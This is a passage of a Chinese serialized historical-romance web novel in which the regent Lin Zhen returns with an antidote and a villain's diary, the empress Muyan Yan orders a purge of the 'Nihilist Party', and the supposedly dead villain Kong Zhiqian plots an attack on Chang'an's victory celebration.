与那张羊皮卷上故弄玄虚的“凤凰血”不同,这份手稿上,清清楚楚地记载了配置解药所需的几十种草药,以及详细的熬制方法。 而更让林臻感到震惊的是,在解药方子的旁边,孔志谦还用一种近乎炫耀的、沾沾自喜的语气,写下了一段话。 “所谓‘凤凰血’,不过是吾与林臻小儿,开的一个玩笑罢了。吾真正所需,乃是前朝李氏之‘龙血’。此血脉甚是奇特,可为百毒之引,亦可为百毒之解。然,吾又岂会让他如此轻易得到?吾已布下天罗地网,设下九连环死局。他若想救天下苍生,便只能用那女帝之血。届时,君王泣血,万民同悲,岂不快哉?哈哈哈哈!” 看到这里,林臻只觉得一股怒火,再次从心底烧起! 这个疯子!他果然是想逼死嫣儿! 他强压下怒火,继续往下看。 在手稿的最后,还有一张单独的纸。 上面写着:“林臻,当你看到这封信的时候,想必你已经解开了我所有的谜题。佩服,佩服。你确实是这世上,唯一配做我对手的人。只可惜,道不同,不相为谋。这间石室里,有我提前为你准备好的‘礼物’。——足够解救扬州一城百姓的解药成品。这,就算是我这个失败者,送给你这个胜利者的,最后一份贺礼吧。至于运河沿岸其他城市的百姓……那就只能看你的本事,和天意了。孔志谦,绝笔。” 在纸张的下面,还压着一本厚厚的、装订精美的日记。 林臻拿起那本日记,翻开了第一页。 上面,是孔志谦那熟悉的、狂放不羁的字迹。 “吾十岁成诗,十二能文,十五通晓百家之学。然,世人只知吾乃孔氏圣裔,却不知,吾心中所藏,乃是焚尽这虚伪世间之烈火……” 林臻的心,猛地一沉。 他知道,这本日记里,一定隐藏着孔志"谦"这个疯子,内心最深处的、最黑暗的秘密。 也一定隐藏着,他那所谓的,最后的后手! …… 苏州,客栈。 夜,已经很深了。 慕容嫣依旧毫无睡意,她就那么静静地坐在窗边,望着远山的方向。 她身上那件作为唯一寝衣的神凤降世裙,在深夜里,显得愈发深邃。 极致玄黑的苏锦底料,完美地融入了窗外的夜色,仿佛她整个人,都化作了这无边黑夜的一部分。 只有那织入其中的金色棉绒,和用真金线绣成的巨型擎天凤凰,在从窗外透进来的、清冷的月光下,偶尔反射出一点点微弱的、如同星辰般的光芒,安静而执着。 这件以轻盈透气的苏锦工艺织就的棉质睡裙,此刻穿在她身上,非但没有因为其巨大的裙幅而显得累赘,反而因为其柔软的质地,紧紧地贴合着她的身体,将她那因为忧虑而显得格外纤细单薄的身影,勾勒得淋漓尽致。 那长达五丈的墨金色苏锦拖尾,从她的脚下,一直铺陈到房间的另一头,在粗糙的木质地板上,堆叠成一片凌乱而沉默的云海。 月光洒在上面,那些金色的凤凰纹路,便如同沉睡在云海深处的巨兽,安静地蛰伏着,等待着它们的主人,从无尽的焦虑与等待中,重新振作起来。 她已经维持这个姿势,很久很久了。 杜如晦几次三番地想进来劝她去歇息,都被她挥手屏退了。 她知道,在没有得到林臻确切的消息之前,她不可能睡得着。 她的心,一半在江南,在这些等着她去拯救的百姓身上。 另一半,则早已飞到了那座不知名的深山里,飞到了那个让她牵肠挂肚的男人身边。 夫君,你到底怎么样了? 你是不是受伤了? 你是不是……也和我想你一样,在想着我? 就在她胡思乱想,心乱如麻的时候,房门,突然被敲响了。 “陛下。”门外,是杜如晦那苍老而带着一丝激动和喜悦的声音,“王爷……王爷有消息了!” 慕容嫣只觉得自己的心脏,都漏跳了一拍! 她猛地从窗边站起身,甚至顾不上去穿鞋,赤着脚,几步就冲到了门前,一把拉开了房门。 “他怎么样了?!” 第1122章 好一个“虚无党” 杜如晦看着眼前这位赤着双脚、发丝微乱、凤眸中写满了焦急与期盼的女帝,心中一酸,眼圈差点就红了。 他从未见过,这位平日里威严果决、喜怒不形于色的君主,露出如此脆弱而真实的模样。 他连忙从怀中,取出一只小小的信鸽腿环,双手呈上。 “陛下,这是王爷派人送回来的,加急密信!” 慕容嫣的手,都在微微发抖。 她接过那个小小的腿环,从里面抽出一卷被卷得极细的纸条,缓缓展开。 纸条上,依旧是林臻那熟悉的、让她心安的字迹。 “嫣儿,药方已得,成品亦获。速派人,按此方,全力配制解药。另,孔贼已诛,然其心不死,留有后手。其有一党,名曰‘虚无党’,皆是些心怀怨愤、欲图毁灭之辈。此党名单,附于其日记之内,我已一并带回。此獠虽死,其毒未尽,切记,小心防范。我即刻归。勿念。” 短短几行字,慕容嫣却像是看了一个世纪那么漫长。 药方找到了! 解药的成品也拿到了! 他……他要回来了! 一股巨大的、几乎要将她整个人都淹没的喜悦,瞬间从心底涌起! 她只觉得眼前一阵阵地发晕,双腿一软,差点就要站不稳。 “陛下!”杜如晦眼疾手快,连忙上前扶住了她。 “我没事……我没事……”慕容嫣摆了摆手,她将那张小小的纸条,紧紧地贴在自己胸口,仿佛要将那上面的每一个字,都刻进自己的骨血里。 她笑了,笑着笑着,眼泪却不争气地,大颗大颗地,滚落下来。 那是喜悦的泪,是安心的泪,更是……后怕的泪。 他虽然说得轻描淡写,但她又岂会看不出,这寥寥数语背后,隐藏着何等的凶险与惨烈? “孔贼已诛……” 他亲手,杀了那个疯子。 他一定,也受了很重的伤吧? 一想到这里,慕容嫣的心,就像是被针扎一样,密密麻麻地疼了起来。 但她知道,现在不是伤春悲秋的时候。 孔志谦虽然死了,但他的阴谋,还没有彻底结束。 “虚无党”…… 好一个“虚无党”! 慕容嫣的眼中,瞬间迸发出了冰冷的、凛冽的杀机! 孔志"谦"这个疯子,他自己想死,还要拉着整个世界给他陪葬!他以为,他死了,就一了百了吗? 做梦! 她深吸一口气,强行将所有的情绪都压了下去,重新恢复了那个杀伐决断的女帝。 就在她重新站直身体,准备下达命令的瞬间—— 她这个从极度的焦虑和担忧中,瞬间切换到冷酷决断的动作,是如此的迅猛而有力! 那迤逦于地、铺散凌乱长达五丈的墨金色苏锦拖尾,被她这带着无尽后怕与滔天杀意的动作,猛地带动! 华贵的锦缎,在粗糙的木质地板上,划出一道充满了肃杀之气的锐利弧线! 随着拖尾的轰然飘起——赫然露出了里面那金线密织、在昏暗油灯的映照下、闪烁着如同地狱审判之火般冰冷而灼热光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在这一瞬间,仿佛从沉睡中彻底苏醒! 那光芒里,交织着对爱人平安归来的巨大庆幸,和对那些胆敢继续为祸人间的“虚无党”余孽的、最彻底的、最冷酷的必杀之意! 尊贵、辉煌,且在此刻,化作了一道即将席卷整个江南,乃至整个大乾的、血腥清洗的序曲! 裙摆重重落下,将那片冰冷而充满杀机的金光,死死地掩盖。 “杜相!”她的声音,已经听不出半分的柔情,只剩下属于帝王的、冰冷的威严。 “老臣在!” “立刻传朕旨意!将这份解药的方子,誊抄千份,以八百里加急,送往运河沿岸所有州府!命所有太医、民间郎中,立刻放下手中一切事务,不分昼夜,全力配制解药!” “从王家、张家等逆贼府上查抄的所有药材,全部给朕用上!不够,就去买!花多少钱,朕都认了!朕只有一个要求!三天!三天之内,朕要让运河沿岸的每一个百姓,都喝上解药!” “是!”杜如晦重重地应诺。 “另外!”慕容嫣的目光,变得愈发冰冷,“立刻传令给鬼影!让他暂时放下对其他世家的监视,将‘夜枭’所有的人手,都给朕撒出去!给朕一寸土地一寸土地地查!朕要知道,这个所谓的‘虚无党’,到底是个什么东西!朕要知道,他们还有多少人!他们都藏在哪里!他们还想干什么!” “告诉鬼影!查到一个,就给朕抓一个!敢反抗的,就地格杀,不必上报!朕要用这些国贼的血,来告诉天下所有心怀不轨之人,胆敢与我大乾为敌,胆敢与我大乾的百姓为敌,下场,只有一个,那就是——死!” 她说到最后一个“死”字,整个房间的温度,都仿佛下降了好几度。 杜如晦只觉得一股寒气,从脚底板直冲天灵盖。 他知道,这位年轻的女帝,是真的被彻底激怒了。 一场席卷整个江南的、血腥的大清洗,即将开始。 而就在慕容嫣在苏州,调兵遣将,准备对“虚-无党”展开雷霆行动之时。 林臻,也正带着那本足以让整个大乾都为之震动的孔志谦日记,和那批救命的解药,日夜兼程地,向着苏州赶来。 他骑在马上,冷冽的山风,吹动着他破损的衣袍。 他的脸色,依旧苍白,手腕上的伤口,还在隐隐作痛。 但他那双眼睛,却亮得惊人。 孔志谦的日记,他已经在路上,看完了。 看完之后,他只觉得遍体生寒。 那个疯子,比他想象的,还要疯狂,还要可怕。 那个所谓的“虚无党”,也远比他想象的,要更加危险。 他们不是为了权力,不是为了金钱,甚至不是为了复仇。 他们只是单纯地,享受着毁灭带来的快感。 他们就像是一群隐藏在黑暗中的、以痛苦和绝望为食的秃鹫。 只要这个世界上,还有一丝一毫的秩序和光明,他们就不会停止他们的破坏。 而根据日记里零星的记载,孔志谦在生命的最后一段时间,似乎正在策划一个更加疯狂,更加庞大的计划。 一个足以将整个长安,都拖入地狱的计划。 只可惜,日记到这里,便戛然而止。 林臻不知道那个计划到底是什么。 但他有一种强烈的预感。 这场战争,还远远没有结束。 真正的决战,或许,才刚刚开始。 他一夹马腹,胯下的战马,发出一声嘶鸣,速度,又快了几分。 嫣儿,等我! 这一次,我绝不会再让你,一个人去面对危险! 第1123章 没事,小伤 当林臻的身影,出现在苏州客栈门口的时候,已经是第二天的黄昏。 他风尘仆仆,满身血污,整个人看起来,就像是从地狱里刚刚爬出来的修罗。 但他那双眼睛,在看到那个站在门口,正焦急地向外张望的、熟悉的身影时,瞬间,便被无尽的温柔所填满。 慕容嫣也看到了他。 在看到他的一瞬间,她那颗悬了两天两夜的心,终于,彻底地放了下来。 她什么也顾不得了,提着那身繁复的裙摆,不顾一切地,向着他跑了过来。 她依旧只穿着那件作为唯一寝衣的神凤降世裙,没有了霞帔的衬托,更显出几分居家的慵懒与柔软。 极致玄黑的苏锦底料,在夕阳的余晖下,呈现出一种天鹅绒般的质感。 织入其中的金色棉绒,以及那只用真金线绣成的擎天巨凤,则在温暖的光线下,流淌着一种内敛而温润的辉光。 因为她不顾一切的跑动,那长达五丈的墨金色苏锦拖尾,在她身后,被带起了一片磅礴而凌乱的浪潮! 随着拖尾的轰然飘起——赫然露出了里面那金线密织的“满地织金”内衬! 在夕阳温暖的金色光辉映照下,那片金光,不再是威严,不再是杀伐,也不再是焦虑,而是迸发出一种如同倦鸟归林、旅人归家般、充满了无尽喜悦与安心的、无比温暖而璀璨的光芒! 那只凤凰,在瞬间迸发出一种终于等到爱人归来的、无比欢欣与雀跃的辉光! 那光芒,充满了重逢的喜悦,卸下重担的轻松,以及一种将所有风雨都关在门外的、家的温暖与安宁。 裙摆落下,将那片温暖的、喜悦的金光掩盖。 她已经一头,扎进了他的怀里。 “夫君!” 她紧紧地抱着他,将自己的脸,深深地埋在他那带着血腥味和尘土味的胸膛上,仿佛要将自己整个人,都揉进他的身体里。 “我回来了,嫣儿。”林臻也紧紧地回抱着她,他能感觉到,怀里的人儿,在微微地发抖。 他低头,亲了亲她散发着兰花香气的发顶,声音沙哑得不成样子。 他想说“对不起,让你担心了”,但他知道,任何语言,在此刻,都显得那么苍白无力。 他只能用尽全身的力气,抱着她,让她感受到自己的心跳,感受到自己的存在。 许久,慕容嫣才从他怀里,缓缓地抬起头。 她的眼圈,红红的,脸上还挂着泪珠。 她的目光,落在了林臻那只被布条胡乱包裹着的手腕上。 那上面,已经干涸的血迹,浸透了布条,呈现出一种触目惊心的暗红色。 她的心,像是被一只大手狠狠地揪住,疼得她几乎要窒息。 “你的手……”她的声音,都在发抖。 林臻下意识地,想把手往身后藏。 “没事,小伤。” “你还想骗我!”慕容嫣的眼泪,再也忍不住,决堤而下。 她一把抓住他那只受伤的手,小心翼翼地,解开上面那早已被血浸透的布条。 一道深可见骨的、狰狞的伤口,赫然出现在她的眼前! 这哪里是什么小伤?! 这分明,是足以致命的重创! 她甚至可以想象,当时,他为了划开自己的手腕,用了多大的力气! “你这个傻瓜!你这个天底下最大的傻瓜!”她捧着他那只受伤的手,哭得泣不成声,“为什么?为什么要用自己的血?李显那个逆贼,他死不足惜!你为什么要……” 她的话,再也说不下去。 她只知道,她的心,好疼,好疼。 林臻看着她哭得梨花带雨的样子,心中又是心疼,又是无奈。 他伸出另一只没有受伤的手,轻轻地,为她擦去脸上的泪水。 “傻丫头,哭什么。”他的声音,温柔得能滴出水来,“我不是说了吗?我大乾的江山,我大乾的百姓,不需要用一个前朝余孽的血来拯救。要用血,就用我林臻的血。” “我是你的夫君,是这个国家的摄政王。保护你,保护这个国家,本就是我的责任。” 他看着她的眼睛,一字一句地说道:“嫣儿,只要能让你安心,只要能让这个国家安稳,别说是一只手,就算是要我这条命,我也在所不惜。” “不许胡说!”慕容嫣又一次,哭着捂住了他的嘴。 林臻笑了笑,握住她的手,将她拉进了房间。 “好了,别哭了。再哭,就成小花猫了。” 他将她按在椅子上坐下,然后,从怀中,取出了那本孔志谦的日记,和那批缴获的解药成品。 “看看吧,这就是我们这次的战利品。” 慕容嫣接过日记和解药,她的情绪,也渐渐平复了下来。 她先是仔细地检查了一下那些解药,确认无误后,才交给了早已等候在一旁的杜如晦。 “杜相,立刻将这些解药,分发下去!先紧着扬州那边用!另外,让太医院的人,立刻根据药方,全力仿制!” “是,陛下!”杜如晦领命,匆匆退下。 然后,慕容嫣才将目光,落在了那本看起来平平无奇的日记上。 她翻开了第一页。 当她看到孔志谦在日记里,记录下的那些疯狂而恶毒的念头,和那个所谓的“虚无党”时,她的脸色,瞬间变得冰冷。 当她看到,孔志谦竟然想用她的血,来当解药的药引,逼她陷入两难绝境时,她更是气得浑身发抖! “这个畜生!真是死有余辜!”她猛地将日记合上,眼中杀机毕露。 林臻轻轻地将她揽入怀中,柔声安慰道:“好了,别气了。跟一个死人生气,不值得。他虽然死了,但他的那些徒子徒孙,还活得好好的。我们接下来的任务,就是把这些藏在阴沟里的老鼠,一只一只地,全都揪出来,碾死!” 慕容嫣靠在他的怀里,点了点头。 她知道,林臻说得对。 真正的战斗,还没有结束。 “夫君,我们接下来,该怎么做?”她问道。 “将计就计。”林臻的眼中,闪过一丝冷酷的光芒,“孔志谦的这个‘虚无党’,虽然隐秘,但并非无迹可寻。他的日记里,提到过几个核心成员的名字和据点。我们就从这里下手。” 他顿了顿,嘴角勾起一抹冰冷的弧度:“而且,我们手上,还有一张王牌。” “王牌?”慕容嫣有些疑惑。 “张德海。”林臻淡淡地说道,“那条狗,为了活命,什么都肯做。我们就让他,去做那只引蛇出洞的,诱饵。” 他看着慕容嫣,眼神变得深邃起来:“嫣儿,我准备,在苏州,公开审判那些被我们抓获的江南世家。我要让全天下的百姓都看看,背叛大乾,到底是什么下场。同时,我也要借着这次机会,把那些还藏在暗处的‘虚无党’余孽,全都给引出来!” “公开审判?”慕容嫣的眼睛,亮了一下。 她瞬间,便明白了林臻的意图。 这是一招阳谋! 一招足以将所有敌人,都逼到明面上的,阳谋! 第1124章 最可笑的小丑 就在林臻和慕容嫣在苏州,运筹帷幄,准备对江南的叛逆势力,展开一场最后的清算之时。 在距离苏州千里之外的,一条不知名的小河边。 一个浑身湿透、形容枯槁的身影,正挣扎着,从冰冷的河水里,爬上了岸。 正是那个所有人都以为,已经被林臻亲手扭断脖子,扔进河里喂鱼的——孔志谦! 他大口大口地喘着粗气,贪婪地呼吸着新鲜的空气。 冰冷的河水,刺激着他的神经,让他那因为“龟息散”而陷入假死状态的身体,慢慢地恢复了知觉。 他摸了摸自己的脖子。 那里,还残留着被林臻那只铁钳般的大手,扼住时的剧痛。 林臻最后那一下,确实是用足了力气,几乎将他的颈骨,都彻底捏碎。 若非他提前服下了护住心脉的丹药,又练过一种可以瞬间让骨骼错位的缩骨功,恐怕现在,他真的已经是一具冰冷的尸体了。 “林臻……” 他从牙缝里,挤出这个名字,眼中,充满了无尽的怨毒和疯狂。 他输了。 输得一败涂地。 他千算万算,却没算到,林臻竟然会那么疯狂,那么不按常理出牌! 他竟然宁可用自己的血,也不愿意用李显的血去开启机关! 他竟然,完全不在乎自己会背上什么样的骂名! 这个男人,简直就是一个彻头彻尾的疯子! 一个怪物! 一股从未有过的挫败感,和更深的、被羞辱的愤怒,瞬间填满了孔志谦的胸膛! 他原以为,自己才是那个掌控一切的棋手。 到头来,他却发现,自己从头到尾,都只是在陪林臻,玩了一场无聊的游戏。 而自己,就是那个最可笑的小丑。 “哈哈……哈哈哈哈!” 他忍不住,仰天大笑起来,笑声凄厉,如同夜枭哀鸣。 就在这时,一阵轻微的脚步声,从他身后的树林里传来。 孔志谦的笑声,戛然而止。 他猛地转过头,警惕地看向身后。 只见一个同样身穿黑衣,脸上带着青铜面具的男人,正从黑暗中,缓缓地走了出来。 “是你?”孔志谦看到来人,眼中闪过一丝意外。 这个男人,代号“无面”,正是他安插在“夜枭”内部,地位最高,也最深的一颗棋子。 也正是他,在林臻走后,偷偷地将孔志谦的“尸体”,运出了苏州城。 “先生,您没事吧?”无面的声音,沙哑而低沉,听不出任何情绪。 “死不了。”孔志谦冷冷地说道,他挣扎着,从地上站了起来,“苏州那边,情况如何?” “回先生,”无面躬身答道,“您的计划,失败了。林臻拿到了解药,慕容嫣也已经稳住了江南的局势。那些参与密谋的世家,死的死,降的降,已经翻不起什么浪花了。” 听到这个消息,孔志谦的脸上,并没有露出太多的意外。 这一切,都在他的预料之中。 他知道,只要林臻不死,只要慕容嫣不死,他那些所谓的盟友,不过是一群土鸡瓦狗,不堪一击。 “林臻和慕容嫣呢?他们现在在做什么?”他更关心的,是这个。 “他们……他们准备在苏州,公开审判那些被抓的世家。并且,还对外宣称,已经将您……挫骨扬灰了。” “挫骨扬灰?”孔志"谦"听到这四个字,嘴角的笑容,变得愈发诡异和冰冷,“好,好一个挫骨扬灰!他们以为,这样,就能彻底地抹去我的存在吗?他们以为,这样,游戏就结束了吗?” “太天真了!” 他的眼中,闪烁着一种病态的、狂热的光芒! “他们毁了我的棋盘,那我就换一张更大的棋盘,跟他们玩!” “他们以为他们赢了,那我就让他们看看,什么,才叫做真正的,绝望!” 他转向无面,声音阴冷得如同从地狱里传来的一般。 “立刻,启动‘净世计划’!” 无面闻言,那张青铜面具下的身体,猛地一颤! “先生!您……您确定吗?‘净世计划’一旦启动,就再也没有回头路了!那将会……那将会让整个天下,都陷入战火和死亡啊!” “这不正是,我想要的吗?”孔志"谦"的脸上,露出了一个癫狂的笑容,“我就是要让这个腐朽的、虚伪的世界,在烈火中,得到永生!” “我就是要让林臻和慕容嫣,亲眼看着他们用生命守护的一切,在他们面前,一点一点地,化为灰烬!” “我得不到的,他们,也休想得到!” 他看着无面,声音里,带着一种蛊惑人心的魔力:“去吧!去告诉我们所有的同志!告诉他们,黎明前的黑暗,最为深沉!但只要我们点燃这第一把火,整个世界,都将成为我们的火炬!” “我们的最终目标,不是江南,不是那些愚蠢的世家!” “是京城!” “是那座象征着无上权力和秩序的,紫禁城!” “我要在他们的凯旋庆典上,送给他们一份,永生难忘的大礼!” “我要让那座全世界最繁华的城市,变成一座,人间地狱!” 无面看着眼前这个状若疯魔的男人,心中,涌起了一股莫名的寒意。 但他知道,他没有选择。 从他加入“虚无党”的那一刻起,他就已经是一枚,没有退路的棋子了。 他深吸一口气,对着孔志谦,重重地,单膝跪下。 “属下,遵命!” …… 苏州,客栈。 慕容嫣刚刚处理完一批从各地传回来的、关于安抚民心的紧急公务。 她揉了揉有些酸胀的眉心,脸上,带着一丝难以掩饰的疲惫。 这几日,她几乎没有合过眼。 虽然江南的局势,在她的铁腕手段下,已经基本稳定。 但她知道,这只是表面上的。 运河的剧毒,虽然因为处置及时,没有造成大规模的伤亡。但后续的清理和恢复,却是一项无比浩大的工程。 被查抄的那些世家,留下的烂摊子,也需要她一件一件地去处理。 最让她头疼的,还是那个所谓的“虚无党”。 根据林臻带回来的那本孔志谦的日记,这个组织的成员,遍布大乾各地,甚至,连朝中,都有他们的人。 这些人,就像是隐藏在黑暗中的毒蛇,你不知道他们什么时候,会从什么地方,跳出来,给你致命一击。 这种感觉,让她如芒在背,寝食难安。 她身上那件墨金色的神凤降世裙,也仿佛感受到了主人的忧虑。 此刻,她正坐在桌前,看着一份份的卷宗。 那件作为她唯一寝衣的裙子,因为她长时间的伏案工作,极致玄黑的苏锦底料上,已经起了一些细微的褶皱。 在昏黄的烛光下,那只用真金线绣成的、贯穿全身的擎天巨凤,也显得有些黯淡,仿佛正在为了帝国的未来,而深深地忧虑着。 那长达五丈的墨金色苏锦拖尾,从她的椅背后,无力地垂落在地,凌乱地铺陈开来,像一片被乌云笼罩的、失去了光泽的黑金色海洋。 就在这时,林臻推门走了进来。 他一眼,就看到了她那写满了疲惫的脸,和眼底那片淡淡的青色。 他的心,瞬间就疼了。 他走上前,从身后,轻轻地,将她拥入怀中。 “又在操心了?”他的声音,带着一丝心疼和无奈。 慕容嫣靠在他的怀里,感受着他身上那熟悉的、让她安心的气息,紧绷的身体,才稍稍放松了一些。 “夫君,我总觉得,心里不踏实。”她轻声说道,“孔志"谦"虽然死了,但他的那些徒子徒孙,还在。我总觉得,他们不会就这么善罢甘休的。” 第1125章 我知道你在担心什么 林臻将下巴轻轻抵在她的发顶,闻着那熟悉的兰花香气,心中一片宁静。 他当然知道她心里的不安。 那本孔志谦的日记,他也看了。 那个疯子在字里行间透露出的、对这个世界的刻骨仇恨,和那种想要将一切都拖入毁灭深渊的疯狂,让他至今想起来,都觉得不寒而栗。 “虚无党”…… 这帮人,比漠北的铁骑,比江南的世家,都要难对付得多。 因为他们无所求。 不求财,不求权,只求毁灭。 对付这样的疯子,常规的手段,根本没用。 “我知道你在担心什么。”林臻收紧了抱着她的手臂,声音沉稳而有力,“兵来将挡,水来土掩。不管他们想耍什么花样,我们接着就是了。” 他顿了顿,话锋一转,语气里带上了一丝轻松。 “而且,我们也不是全无准备。孔志谦的日记里,不是提到了几个‘虚无党’的核心成员吗?我已经让鬼影派人,去秘密调查他们的行踪了。只要顺着这条藤,就不怕摸不到瓜。” 慕容嫣在他怀里,轻轻地点了点头。 道理她都懂。 但那种敌暗我明的感觉,还是让她觉得很不舒服。 “夫君,”她突然抬起头,看着林臻,凤眸中闪过一丝决断,“我们不能再这么被动下去了。” “哦?”林臻看着她眼中重新燃起的斗志,饶有兴致地问道,“那依我们家陛下的意思,该当如何?” “引蛇出洞!”慕容嫣的声音,斩钉截铁,“既然他们喜欢躲在暗处,那我们就逼他们,自己走到明处来!” “怎么逼?” “我们回长安!”慕容嫣站起身,在房间里来回踱步,思路,在这一刻,变得无比清晰。 因为她的走动,那件墨金色的神凤降世裙,也随之而动。 那长达五丈的凌乱拖尾,在粗糙的木质地板上,被拖曳出一道道充满了决断与自信的、磅礴的弧线。 随着她的一个猛然转身,裙摆轰然飘起! 赫然露出了里面那金线密织的“满地织金”内衬! 在昏黄的烛光下,那片金光,不再是之前的焦虑与担忧,而是迸发出一种运筹帷幄、智珠在握的、充满了强大自信的璀璨光芒! 那只擎天巨凤,在瞬间仿佛活了过来,凤目之中,闪烁着洞悉一切阴谋诡计的锐利光芒,充满了对那些藏头露尾之辈的蔑视,和一种即将张开天罗地网、将所有敌人一网打尽的强大压迫感! 裙摆落下,将那片凛然的金光与必胜的信念掩盖。 她走到林臻面前,一字一句地说道:“我们不仅要回长安,还要大张旗鼓地回去!我们要向全天下宣布,江南叛乱已平,首恶孔志谦、李显,皆已被诛!朕与亲王,即将班师回朝,并在长安,举行最盛大的凯旋庆典!” 林臻看着她,没有说话,但眼中,却充满了赞许。 他知道,他心爱的女人,又一次,和自己想到一块儿去了。 慕容嫣继续说道:“孔志谦的那些徒子徒孙,他们最恨的是什么?最恨的,就是我们!就是我们所代表的,这个国家的秩序和安稳!我们越是风光,他们就越是憎恨!我们把庆典办得越是盛大,他们就越是会像闻到血腥味的鲨鱼一样,不顾一切地扑上来!” “他们不是想在我们的婚礼上,送一份大礼吗?”她的嘴角,勾起了一抹和林臻如出一辙的、冰冷的弧度,“那我们就把这份‘大礼’,原封不动地,还给他们!” “我要在长安,在他们的老巢,布下一个天罗地网!我要让他们,自以为抓住了最好的机会,然后,在最得意的时候,一头撞死在这张网上!” “我要让他们知道,什么,才叫真正的,绝望!” 林臻听完,忍不住哈哈大笑起来。 他走上前,一把将她拥入怀中,在她光洁的额头上,重重地亲了一口。 “不愧是我的嫣儿!跟我想到一块儿去了!” 他看着她那双因为兴奋而亮得惊人的凤眸,心中,充满了无尽的爱意与骄傲。 “不过,”他的声音,又带上了一丝担忧,“嫣儿,你可想好了?这么做,很危险。你,将会成为所有敌人,最主要的目标。你,将会成为那个,最显眼的诱饵。” “我怕什么?”慕容嫣扬起下巴,脸上,是属于帝王的、无与伦比的骄傲与自信,“我是大乾的女皇帝!这个国家,是我的!这些百姓,是我的!那些藏在阴沟里的老鼠,想在我的国家里捣乱,想伤害我的子民,就得先问问,我同不同意!” 她看着林臻,眼神变得无比温柔,却又无比坚定。 “而且,我不是一个人。我还有你。” “只要有你在我身边,就算是刀山火海,龙潭虎穴,我又有何惧?” 林臻的心,被这句话,狠狠地,撞了一下。 他再也控制不住自己,低头,深深地,吻住了她。 这个吻,炙热而绵长。 仿佛要将这世间所有的爱恋与信任,都融化在其中。 …… 三日后。 大乾女帝与摄政王,即将班师回朝的消息,如同长了翅膀一般,传遍了整个天下。 随之而来的,还有江南叛乱已平,逆贼孔志谦、李显伏诛,江南三府,减免三年赋税等一系列的消息。 整个大乾,都沸腾了! 百姓们欢欣鼓舞,奔走相告,将他们的女帝和摄政王,夸上了天。 而那些潜伏在各地的“虚无党”余孽,在听到这个消息后,却是如遭雷击! 孔先生……死了? 被那个女人,挫骨扬灰了? 一股巨大的、被背叛的愤怒,和更深的、信仰崩塌的疯狂,瞬间席卷了他们的内心! “欺人太甚!慕容嫣!林臻!你们欺人太甚!” “先生虽然死了!但先生的意志,永存!” “我们要为先生报仇!我们要让那对狗男女,血债血偿!” “长安!对!去长安!他们不是要举行凯旋庆典吗?那我们就让他们的庆典,变成他们的葬礼!” 一个个隐藏在黑暗中的疯子,在孔志谦那个假死的棋子“无面”的秘密串联和煽动下,如同被血腥味吸引的野兽,开始从四面八方,向着长安,秘密地聚集。 他们不知道,在他们前方,等待着他们的,是一张早已为他们准备好的,天罗地网。 一场席卷整个帝都的、最后的风暴,即将拉开序幕。 第1126章 无面 帝国的车驾,在万民的欢呼声中,缓缓驶入了长安城。 从朱雀门到承天门的十里长街,再一次,被热情的百姓挤得水泄不通。 鲜花、彩带,美酒、果品,从街道两旁的屋顶和窗户里,像雨点一样,被抛洒下来。 “陛下万岁!王爷千岁!” “欢迎我们的英雄回家!” 百姓们用最淳朴,也最热烈的方式,迎接着他们心目中的神。 这是他们第二次,如此大规模地,迎接这对帝后夫妻的凯旋。 第一次,是北伐大胜,荡平漠北。 这一次,是南下平叛,安抚江南。 在百姓们心中,这对年轻的帝后,已经成了大乾的守护神。只要有他们在,无论什么样的天灾人祸,都能被轻易化解。 车驾内,慕容嫣透过纱帘,看着外面那一张张洋溢着真挚笑容的脸,心中,也是感慨万千。 她依旧穿着那身神凤降世裙,外面罩着最隆重的黑金色霞帔。 此刻,她正慵懒地靠在林臻的怀里。那件作为她唯一寝衣的裙子,柔软的苏锦面料,紧紧地贴合着她的身体,带来一种无比安心的触感。 因为是在宽大的龙辇之内,她身后那长达五丈的墨金色苏锦拖尾,并未被宫人托举,而是自然地、磅礴地,铺满了整个车厢的地板,甚至有一部分,还从车门边,垂落了下去,随着车驾的前行,在地面上,拖曳出一条华丽而威严的痕迹。 “夫君,你看,这就是我们守护的江山,和百姓。”她的声音,带着一丝满足和骄傲。 “是啊。”林臻将她往怀里紧了紧,低头,在她的鬓边,轻轻落下一个吻,“这就是我们,为之奋斗的一切。” 他看着窗外那一张张淳朴的笑脸,心中,也充满了前所未有的满足感。 权倾天下,坐拥江山,这些,对他来说,都比不上怀里这个女人的一个笑容,比不上窗外这些百姓的一句拥护。 然而,在这片看似祥和欢乐的景象之下,一场看不见的、致命的暗流,正在疯狂地涌动。 就在那欢呼的人群中,就在那鳞次栉比的屋顶上,就在那阴暗的、不为人知的角落里。 一双双充满了怨毒、疯狂和毁灭欲望的眼睛,正死死地,盯着那辆在万众簇拥下,缓缓前行的华丽龙辇。 他们,就是孔志谦的“虚无党”余孽。 他们已经像一群嗅到血腥味的鬣狗,从四面八方,潜入了这座帝国的都城。 他们在等待。 等待一个最好的时机。 等待在三天后的凯旋庆典上,给予这对在他们眼中“虚伪、无耻”的帝后,最致命的一击! 他们要让这座全世界最繁华的城市,变成一座火光冲天的炼狱! 他们要让这对狗男女的凯旋庆典,变成他们的盛大葬礼! …… 栖凤阁。 林臻和慕容嫣一回到宫中,甚至来不及换下身上繁琐的礼服,便立刻召见了杜如晦和锦衣卫指挥使赵无忌。 “情况如何?”林臻开门见山地问道。 赵无忌立刻上前一步,单膝跪地,声音沉稳地汇报道:“启禀王爷,陛下!按照您的吩咐,整个长安城,已经布下了天罗地网!” “从城门到皇宫,所有街道的两侧,都已经被我们的人,秘密替换。每一个商铺,每一个酒楼,甚至每一个民宅里,都有我们的‘夜枭’,伪装成普通百姓,在日夜监视。” “城中所有的制高点,比如钟楼、鼓楼,以及各大坊市的望楼,也都已经被我们的人控制。任何可疑的举动,都逃不过我们的眼睛。” “另外,京城的十二卫,以及骁骑营、虎贲卫的精锐,也已经全部进入了战备状态。他们化整为零,伪装成巡逻的城狐社鼠,或是普通的商贩走卒,分布在城市的每一个角落。一旦有变,半刻钟之内,便能集结完毕,对任何目标,发起雷霆一击!” 听完赵无忌的汇报,林臻满意地点了点头。 “很好。那些老鼠,都进笼子了吗?” “回王爷,根据我们掌握的情报,‘虚无党’在京城的核心成员,以及从外地潜入的余孽,至少有三百余人,已经全部进入了我们布控的范围。”赵无忌的眼中,闪过一丝冰冷的杀机,“其中,就包括那个在孔志谦日记中,提到过的,代号‘无面’的,‘虚无党’二号人物。” “无面?”林臻的眉头,微微挑了一下。 这个名字,他有印象。 